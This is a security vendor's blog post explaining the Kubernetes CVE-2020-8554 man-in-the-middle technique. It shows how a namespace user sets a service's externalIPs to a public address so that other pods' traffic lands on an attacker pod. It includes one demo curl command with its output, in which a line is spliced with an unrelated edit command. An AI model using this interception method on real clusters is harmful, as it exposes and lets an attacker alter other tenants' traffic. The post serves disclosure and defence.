Kubernetes Man-in-the-Middle with no patch in sight.  What does CVE-2020-8554 mean to your organization?

Kubernetes gives users a lot of flexibility to customize the system in order to support various use cases.That’s why DevOps teams use it as their container orchestration platform of choice. This is a double-edged sword. Typically, organizations use RBAC to limit the access to resources, but any enterprise security pro knows that it's hard to manage when you have hundreds of users with unique access requirements to different parts of the cluster. What makes this vulnerability more dangerous is that the namespace boundary is crossed. Anyone who has access rights at the pod and service level, could circumvent established rules and processes. 

Some security firms recommend solutions that introduce overhead to the DevOps  process. Because NeuVector enforcers sit inside the cluster, it is able to protect application containers, as well as the system containers, actively. You can learn more about NeuVector's patented protection for Kubernetes here.

Before we dive into the protective measures, let's first take a look at how the attack is executed.

Attack Scenario

The following diagram demonstrates one scenario of the attack sequence.

The attacker first deploys an Man-in-the-middle (MitM) container in the cluster and exposes a service with the externalIPs option. Because the namespace users are typically allowed to deploy their own pods and services in their own namespaces, these activities look totally normal to the cluster administrators. 

The following is a LoadBalancer service we created for the demo purpose. Notes that the external IP is defined as 93.184.216.34. This is the IP address that example.com is resolved into.

After the service is created, we can see that the external IP is accepted by Kubernetes.

Now, say the application in Joe's namespace wants to reach example.com. First, the application sends a DNS query asking for the IP address of example.com. The DNS response tells the application the IP address is 93.184.216.34.

Now the application sends a HTTP request to the resolved IP, instead of going to the real destination, because the IP address matches one of exposed services, Kubernetes network plugin directs the connections to the service and eventually reaches the attacker's pod.

It is not so interesting to just fake a destination, but the attacker's app can choose to be acting as a proxy and forward the connections to the real example.com. Now the attacker is capable of looking into requests and responses exchanged between the client and the server. If sensitive information are transmitted, they will be exposed to the attackers. The attacks can even manipulate the content. This is Man-in-the-Middle in action.

As an example, here is the connection we sent from the client. 

# oc exec -it client -n client -- curl example.com
CLIENT VALUES:
client_address=10.160.37.174
command=GET
real path=/
query=nil
request_version=1.1
request_uri=http://example.com:8080/

SERVER VALUES:
server_version=nginx: 1.10.0 - lua: 10001

HEADERS RECEIVED:
accept=*/*
host=example.com
user-agent=curl/7.49.1
BODY:
-no body in requesdit svc external -n serverom

Edit cancelled, no changes made.

We simulate the attacker's application with a Nginx server. As you can see in the response of the client's request. The connection didn't reach example.com but the Nginx server.

An extra attack vector

Besides externalIPs, Kubernetes offers another "hidden" service type, ExternalName. This service allows users to map a service to a DNS name.

The attacker then can expose this service for other applications to access. Although the extra service doesn't change the actual network flow, it makes the behavior more complicated to be detected.

The Network View

Although we use the public server address as an example, the target can be legacy servers and cloud services as well. What makes this attack more stealthy are the facts that the attack can be initiated by the insiders, and use Kubernetes' native definitions without violating RBAC or namespace isolation. It looks totally legal from Kubernetes' point of view.

Most defensive actions discussed on the Internet focus on checking Kubernetes' configurations. We believe that is a necessary step. NeuVector supports Kubernetes admission control and can be integrated with OPA (Open Policy Agent) to audit the configurations. However, given the potential impacts of this Man-in-the-Middle attack, more proactive actions should be taken. The visibility into the network layer offers valuable insights in this case.

If we examine the network connections on the wire using NeuVector's network graph, we can see the following picture. (source-ip-app is the attacker's pod in the picture.) From the client's point of view, both DNS and HTTP requests go to the external network. The connection to the attacker's pod actually comes from a node in the cluster. The external IP service acts very much like a nodePort service.

This picture doesn't give the end-to-end view. In Part Two of this blog, we connect the dots by correlating Kubernetes' resources and security automation.